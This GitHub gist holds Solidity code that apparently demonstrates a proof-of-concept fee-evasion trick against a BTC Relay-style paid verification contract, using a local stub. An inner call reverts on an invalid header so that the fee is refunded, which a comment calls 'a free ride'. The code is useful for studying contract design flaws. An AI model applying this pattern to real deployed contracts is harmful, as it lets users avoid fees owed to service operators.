Skip to content

Instantly share code, notes, and snippets.

@axic
Last active March 23, 2017 02:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save axic/0b262ff6813ac8c3971ff399f2e286ce to your computer and use it in GitHub Desktop.
Save axic/0b262ff6813ac8c3971ff399f2e286ce to your computer and use it in GitHub Desktop.
contract btcRelay {
function verifyHeader(uint hash) payable returns (uint) {
return (hash == 42) ? 1 : 0;
}
}
contract btcRelayFreeVerifyHeader {
btcRelay btcrelay;
function btcRelayFreeVerifyHeader() payable {
btcrelay = new btcRelay();
}
function executeRelay(uint hash) external {
uint result = btcrelay.verifyHeader.value(100)(hash);
// if it is invalid header, fail transaction and enjoy a free ride
if (result != 1)
throw;
}
function trickRelay(uint hash) returns (bool, uint) {
uint safelimit = 10000; // set this to the average gas a verification takes
bool ret = this.call.gas(safelimit)(bytes4(keccak256("executeRelay(uint256)")), hash);
if (ret == true) {
// valid header
return (true, this.balance);
} else {
// invalid header
return (false, this.balance);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment